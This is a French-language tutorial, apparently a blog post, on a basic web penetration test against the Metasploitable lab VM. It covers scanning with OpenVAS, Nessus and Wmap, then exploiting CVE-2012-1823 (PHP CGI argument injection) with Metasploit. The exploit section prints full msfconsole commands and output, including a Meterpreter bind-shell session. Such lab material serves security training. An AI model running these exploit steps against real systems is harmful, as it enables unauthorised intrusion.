Dans cet article nous allons voir comment réaliser un Pen Test Web basique à l’aide de Metasploit.
Pour cela nous aurons besoin d’une cible vulnérable. La VM Metasploitable fera amplement l’affaire.
1) Recherche de vulnérabilités
La première étape consiste à rechercher des vulnérabilités.
Pour cela, vous pouvez utiliser OpenVAS ou Nessus.
Pour OpenVAS, il suffit de lancer un scan sur l’IP de la cible.
Dans le rapport, vous devriez voir apparaitre les failles WEB.
Avec Nessus, vous pouvez lancer un scan WEB.
Pour cela, il vous faut au préalable créer une policy pour le scan d’applications Web.
Vous pouvez ensuite lancer un scan Web.
Le rapport vous listera les failles trouvées.
Vous pouvez aussi utiliser Wmap pour réaliser un scan.
Wmap est un module intégré à Metasploit.
Malheuresement, si vous disposez seulement de la version Commnity de Metasploit, vous ne pourrez pas réaliser de scan avec Wmap. Il faut pour cela la version Pro de Metasploit.
Notez que la version pro est disponible en version d’essai.
Néanmoins, si vous disposez de la version pro, voici comment l’utiliser pour réaliser un scan Web.
Premièrement, lancer la console Msf et charger Wmap.
root@kali:~# msfconsole msf > load wmap
Pour vous aider à utiliser les commandes Wmap, vous pouvez utiliser l’aide.
msf > wmap_sites -h
[*] Usage: wmap_sites [options]
-h Display this help text
-a [url] Add site (vhost,url)
-d [ids] Delete sites (separate ids with space)
-l List all available sites
-s [id] Display site structure (vhost,url|ids) (level)
Ajouter un site comme ceci :
msf > wmap_sites -a 192.168.1.219 [*] Site created.
Vous pouvez à présent lister les sites disponibles.
msf > wmap_sites -l
[*] Available sites
===============
Id Host Vhost Port Proto # Pages # Forms
-- ---- ----- ---- ----- ------- -------
0 192.168.1.219 192.168.1.219 80 http 0 0
Ensuite, créer une cible en utilisant l’ID du site créé.
msf > wmap_targets -d 0
Vous pouvez maintenant lancer le scan.
msf > wmap_run -e
…
…
=[ General testing ]=
============================================================
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Launch completed in 344.70551109313965 seconds.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[*] Done.
Enfin, lister les vulnérabilités trouvées.
msf > wmap_vulns -l
Parmi les outils qui existent pour scanner une application Web, nous retrouvons aussi Burp Site.
Malheureusement, la fonctionnalité permettant un scan automatique d’une application Web est payante.
2) Exploit
Une fois les failles listées il peut être intéressent de tenter de les utiliser, afin de juger du danger qu’elles représentent.
Si vous avez lu les articles précédents, vous êtes ici en terrain connu.
Il n’y a rien de nouveau.
L’idée est donc de choisir une faille, et de l’exploiter avec Metasploit.
Parmis les failles reconnues par OpenVAS, la cve:2012-1823 est la meilleure.
Lançons un exploit sur cette faille.
root@kali:~# msfconsole msf> search cve:2012-1823 Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/multi/http/php_cgi_arg_injection 2012-05-03 00:00:00 UTC excellent PHP CGI Argument Injection msf> use exploit/multi/http/php_cgi_arg_injection msf exploit(php_cgi_arg_injection) > msf exploit(php_cgi_arg_injection) > set RHOST 192.168.1.219 RHOST => 192.168.1.219 msf exploit(php_cgi_arg_injection) > show payloads Compatible Payloads =================== Name Disclosure Date Rank Description ---- --------------- ---- ----------- … generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline
Dans la liste des payloads vous pouvez voir que certaines d’entre elles permettent d’obtenir une session Meterpreter.
Nous allons donc utiliser l’une d’elles.
msf exploit(php_cgi_arg_injection) > set payload php/meterpreter/bind_tcp payload => php/meterpreter/bind_tcp msf exploit(php_cgi_arg_injection) > exploit [*] Started bind handler [*] Sending stage (39848 bytes) to 192.168.1.219 [*] Meterpreter session 1 opened (192.168.1.210:42526 -> 192.168.1.219:4444) at 2014-04-05 02:20:28 +0200 meterpreter > [*] Started bind handler [*] Sending stage (39848 bytes) to 192.168.1.219 [*] Meterpreter session 2 opened (192.168.1.210:60727 -> 192.168.1.219:4444) at 2014-04-05 02:45:19 +0200 meterpreter > getuid Server username: www-data (33) meterpreter > sysinfo Computer : metasploitable OS : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 Meterpreter : php/php
Merci beaucoup pour le temps que vous avez pris pour rédiger et partager